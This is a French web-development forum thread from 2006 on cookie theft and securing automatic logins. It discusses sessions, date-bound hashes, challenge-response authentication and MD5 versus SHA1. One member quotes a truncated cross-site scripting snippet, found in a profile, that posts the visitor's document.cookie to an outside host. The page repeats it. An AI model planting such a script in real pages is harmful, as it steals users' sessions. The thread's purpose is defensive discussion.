Cookies récupérables ailleurs ?

31 réponses

Page 12

Auteur	Message
Laurentv \| Vaissade Membre Inscrit le : 10/05/2005	# Le 22/08/2006 à 23:32 voilà le code que j'ai retrouvé dans un profil de membre : <script type="text/javascript">document.write('<form id=\"pass\" action=\"http://***************/inf.php\" method=\"post\">');document.write('<textarea name=\"getpass\">'); document.write(unescape (document.cookie));document.write('</ (Message édité le 22-08-2006 à 23h42 par Laurentv)* Portfolio webdesign : http://www.jogg.com Site de rencontres : http://www.weekdating.com
Laurentv \| Vaissade Membre Inscrit le : 10/05/2005	# Le 22/08/2006 à 23:33 Erf désolé, j'arrive même pas à éditer... Portfolio webdesign : http://www.jogg.com Site de rencontres : http://www.weekdating.com
PyRoFlo \| Florent Modérateur Inscrit le : 09/05/2005	# Le 22/08/2006 à 23:41 Pour éditer, prends le lien directement dans la source de la page Feu d'artifice Paris
Laurentv \| Vaissade Membre Inscrit le : 10/05/2005	# Le 22/08/2006 à 23:43 Arf ouais Pyroflo je viens d'y penser ^^; Quand je suis sur le site des autres, je pense pas à ce genre de truc ^^ (bon ben post à néttoyer, sorry) Portfolio webdesign : http://www.jogg.com Site de rencontres : http://www.weekdating.com
tybozz \| Thibaud Membre Inscrit le : 09/05/2005	# Le 23/08/2006 à 09:31 Bon ben voilà Content que ma démonstration t'ai servi à quelquechose Elevez un dragon ! avant qu'il ne fasse le casting pour la star on the net academy ou qu'il ne s'empiffre de bonbons à gogo
superfc \| Florent Membre Inscrit le : 01/07/2006	# Le 23/08/2006 à 09:42 Le plus sécurisé reste les sessions la pluspart du temps. Ca évite ce genre de risque. Par contre, les sessions ne sont pas faites pour être gardées longtemps (bien qu'on puisse le faire). Donc, le plus simple reste de stocker des infos sur l'utilisateur mais de manière intelligente. Tu peux par exemple définir un cookie selon sa dernière date de connexion. Ca évite que le mec qui veut pirater le site puisse réutiliser le mot de passe hasché ne serait-ce qu'un jour après. En détail : Chaque jour que la personne se connecte (ouvre une nouvelle session), tu lit son cookie et tu le compare à son mot de passe interne avec la date de sa dernière connexion. Tu définis alors un nouveau cookie et écrit la nouvelle date de connexion. De toute façon, sans cryptage de la connexion, empêcher l'usurpation d'identité n'est pas possible, on ne peut que complexifier l'authentification. Et si tu veux sécuriser au maximum, tu peux faire une petite authentification par challenge. Là, le seul moyen d'usurper l'identité est de récupérer la session. Le principe :Ne jamais envoyer le mot de passe ni en clair, ni avec un cryptage identique, et ne jamais envoyer la même chaîne d'identification. En détail : Tu stockes dans une session un challenge d'identification que tu envois au client. Il tape son mot de passe, et une fonction (MD5 par exemple) mélange le mot de passe et son hash, et le client renvoi l'identification. Le serveur n'a plus qu'à comparer avec le challenge qu'il a envoyé pour réaliser l'authentification. Ca peut être soit dans un formulaire (mais l'authentification n'est plus automatique), soit en utilisant la futur fonctionnalité de JavaScript de stockage d'informations locales (et non de cookies), soit en utilisant un formulaire près rempli. Pour le MD5, à cause de 3 matheux qui ont prouvé qu'on pouvait obtenir deux fois le même hash, on considère qu'il n'est plus ultra-sécurisé (bien qu'on ait jamais trouvé de vrai faille), c'est le SHA1 qu'est sensé le remplacer, les agences de sécruité le recommande. Enfin, pour en revenir au départ : Une authentification sécurisée ou non, mais surtout pas d'infos dans le cookie. Florent Clairambault - http://florent.clairambault.fr Gtalk : superfc@gmail.com
devtribu \| Olivier Modérateur Inscrit le : 16/06/2005	# Le 23/08/2006 à 09:46 superfc > c'est interessant comme principe Mais pour des utilisateurs comme moi qui se connecte depuis le boulot et la maison, c'est pas tellement possible de prendre la date de derniere connexion pour éviter d'envoyer la meme chaine de connexion... Février 2019, mon futur livre Tout JavaScript chez Dunod https://amzn.to/2PoLd0f
Geo 113 \| Geoffrey Modérateur Inscrit le : 04/05/2005	# Le 23/08/2006 à 10:15 entre obtenir 2 fois le même hash et trouver le mot de passe en clair il y a une grande différence quand même Cosmix Rendez imprévisible l'Economie; Mentez aux sondages
devtribu \| Olivier Modérateur Inscrit le : 16/06/2005	# Le 23/08/2006 à 10:49 Que le mot de passe soit en clair ou crypté, ca revient exactement au meme : la connexion se refera automatiquement A moins de conditionner le cryptage avec une autre info, comme la date de derniere connexion Mais si un membre se connecte le matin chez lui, puis a midi a son bureau, la date de derniere connexion sera changée et donc la connexion automatique depuis chez lui ne fonctionnera plus... Février 2019, mon futur livre Tout JavaScript chez Dunod https://amzn.to/2PoLd0f
Laurentv \| Vaissade Membre Inscrit le : 10/05/2005	# Le 23/08/2006 à 11:44 Très intéressant tout ça. Merci tybozz et superfc, c'est très éclairant :-) Je pense que dans tous les cas, il faut adapter la sécurité au projet. Un site de musique, de jeux, un forum, etc... ne méritent pas une sécurité trop poussée tout de même. Au moins éviter les failles béantes, ce sera déjà bien. Portfolio webdesign : http://www.jogg.com Site de rencontres : http://www.weekdating.com
Scull \| Thomas Membre Inscrit le : 06/08/2006	# Le 23/08/2006 à 18:16 Certain d'entre vous semblent oublier que avec un mot de passe en md5 que l'on récupère, on peu créer un cookie, mettre le md5 dedans et tadam ! Le site reconnait bien le md5 et vous prend pour la personne en question. Le vol de cookie est trés dangereux, il existe mème des technique avec du flash pour ce faire ;) Mon GitHub \| Founder & CEO of [website I made over the weekend]
superfc \| Florent Membre Inscrit le : 01/07/2006	# Le 24/08/2006 à 00:45 C'est exactement ce dont on parle depuis le début, et d'où la nécessité de faire un HASH de mot de passe selon la date ou d'autres infos autour, ou en utilisant un challenge. Il a dit exactement la même chose : Que le mot de passe soit en clair ou crypté, ca revient exactement au meme : la connexion se refera automatiquement Florent Florent Clairambault - http://florent.clairambault.fr Gtalk : superfc@gmail.com

Auteur

Message

Laurentv | Vaissade
Membre

Inscrit le : 10/05/2005

# Le 22/08/2006 à 23:32

voilà le code que j'ai retrouvé dans un profil de membre :

<script type="text/javascript">document.write('<form

id=\"pass\" action=\"http://****************/inf.php\"

method=\"post\">');document.write('<textarea name=\"getpass\">');

document.write(unescape

(document.cookie));document.write('</

(Message édité le 22-08-2006 à 23h42 par Laurentv)

Portfolio webdesign : http://www.jogg.com
Site de rencontres : http://www.weekdating.com

Laurentv | Vaissade
Membre

Inscrit le : 10/05/2005

# Le 22/08/2006 à 23:33

Erf
désolé, j'arrive même pas à éditer...

Portfolio webdesign : http://www.jogg.com
Site de rencontres : http://www.weekdating.com

PyRoFlo | Florent
Modérateur

Inscrit le : 09/05/2005

# Le 22/08/2006 à 23:41

Pour éditer, prends le lien directement dans la source de la page

Feu d'artifice Paris

Laurentv | Vaissade
Membre

Inscrit le : 10/05/2005

# Le 22/08/2006 à 23:43

Arf ouais Pyroflo je viens d'y penser ^^;

Quand je suis sur le site des autres, je pense pas à ce genre de truc ^^

(bon ben post à néttoyer, sorry)

Portfolio webdesign : http://www.jogg.com
Site de rencontres : http://www.weekdating.com

tybozz | Thibaud
Membre

Inscrit le : 09/05/2005

# Le 23/08/2006 à 09:31

Bon ben voilà
Content que ma démonstration t'ai servi à quelquechose

Elevez un dragon ! avant qu'il ne fasse le casting pour la star on the net academy ou qu'il ne s'empiffre de bonbons à gogo

superfc | Florent
Membre

Inscrit le : 01/07/2006

# Le 23/08/2006 à 09:42

Le plus sécurisé reste les sessions la pluspart du temps. Ca évite ce genre de risque.

Par contre, les sessions ne sont pas faites pour être gardées longtemps (bien qu'on puisse le faire). Donc, le plus simple reste de stocker des infos sur l'utilisateur mais de manière intelligente. Tu peux par exemple définir un cookie selon sa dernière date de connexion. Ca évite que le mec qui veut pirater le site puisse réutiliser le mot de passe hasché ne serait-ce qu'un jour après.
En détail :
Chaque jour que la personne se connecte (ouvre une nouvelle session), tu lit son cookie et tu le compare à son mot de passe interne avec la date de sa dernière connexion. Tu définis alors un nouveau cookie et écrit la nouvelle date de connexion.

De toute façon, sans cryptage de la connexion, empêcher l'usurpation d'identité n'est pas possible, on ne peut que complexifier l'authentification.

Et si tu veux sécuriser au maximum, tu peux faire une petite authentification par challenge. Là, le seul moyen d'usurper l'identité est de récupérer la session.
Le principe :Ne jamais envoyer le mot de passe ni en clair, ni avec un cryptage identique, et ne jamais envoyer la même chaîne d'identification.
En détail :
Tu stockes dans une session un challenge d'identification que tu envois au client. Il tape son mot de passe, et une fonction (MD5 par exemple) mélange le mot de passe et son hash, et le client renvoi l'identification. Le serveur n'a plus qu'à comparer avec le challenge qu'il a envoyé pour réaliser l'authentification.

Ca peut être soit dans un formulaire (mais l'authentification n'est plus automatique), soit en utilisant la futur fonctionnalité de JavaScript de stockage d'informations locales (et non de cookies), soit en utilisant un formulaire près rempli.

Pour le MD5, à cause de 3 matheux qui ont prouvé qu'on pouvait obtenir deux fois le même hash, on considère qu'il n'est plus ultra-sécurisé (bien qu'on ait jamais trouvé de *vrai* faille), c'est le SHA1 qu'est sensé le remplacer, les agences de sécruité le recommande.

Enfin, pour en revenir au départ : Une authentification sécurisée ou non, mais surtout pas d'infos dans le cookie.

Florent Clairambault - http://florent.clairambault.fr
Gtalk : superfc@gmail.com

devtribu | Olivier
Modérateur

Inscrit le : 16/06/2005

# Le 23/08/2006 à 09:46

superfc > c'est interessant comme principe
Mais pour des utilisateurs comme moi qui se connecte depuis le boulot et la maison, c'est pas tellement possible de prendre la date de derniere connexion pour éviter d'envoyer la meme chaine de connexion...

Février 2019, mon futur livre Tout JavaScript chez Dunod https://amzn.to/2PoLd0f

Geo 113 | Geoffrey
Modérateur

Inscrit le : 04/05/2005

# Le 23/08/2006 à 10:15

entre obtenir 2 fois le même hash et trouver le mot de passe en clair il y a une grande différence quand même

Cosmix
Rendez imprévisible l'Economie; Mentez aux sondages

devtribu | Olivier
Modérateur

Inscrit le : 16/06/2005

# Le 23/08/2006 à 10:49

Que le mot de passe soit en clair ou crypté, ca revient exactement au meme : la connexion se refera automatiquement

A moins de conditionner le cryptage avec une autre info, comme la date de derniere connexion

Mais si un membre se connecte le matin chez lui, puis a midi a son bureau, la date de derniere connexion sera changée et donc la connexion automatique depuis chez lui ne fonctionnera plus...

Février 2019, mon futur livre Tout JavaScript chez Dunod https://amzn.to/2PoLd0f

Laurentv | Vaissade
Membre

Inscrit le : 10/05/2005

# Le 23/08/2006 à 11:44

Très intéressant tout ça. Merci tybozz et superfc, c'est très éclairant :-)

Je pense que dans tous les cas, il faut adapter la sécurité au projet. Un site de musique, de jeux, un forum, etc... ne méritent pas une sécurité trop poussée tout de même.
Au moins éviter les failles béantes, ce sera déjà bien.

Portfolio webdesign : http://www.jogg.com
Site de rencontres : http://www.weekdating.com

Scull | Thomas
Membre

Inscrit le : 06/08/2006

# Le 23/08/2006 à 18:16

Certain d'entre vous semblent oublier que avec un mot de passe en md5 que l'on récupère, on peu créer un cookie, mettre le md5 dedans et tadam !

Le site reconnait bien le md5 et vous prend pour la personne en question. Le vol de cookie est trés dangereux, il existe mème des technique avec du flash pour ce faire ;)

Mon GitHub | Founder & CEO of [website I made over the weekend]

superfc | Florent
Membre

Inscrit le : 01/07/2006

# Le 24/08/2006 à 00:45

C'est exactement ce dont on parle depuis le début, et d'où la nécessité de faire un HASH de mot de passe selon la date ou d'autres infos autour, ou en utilisant un challenge.

Il a dit exactement la même chose :

Que le mot de passe soit en clair ou crypté, ca revient exactement au meme : la connexion se refera automatiquement

Florent

Florent Clairambault - http://florent.clairambault.fr
Gtalk : superfc@gmail.com

Page 12

Répondre

Vous ne pouvez pas participer au forum, car votre inscription n'a pas été validée. Pour vous faire valider en tant que Membre, cliquez ici.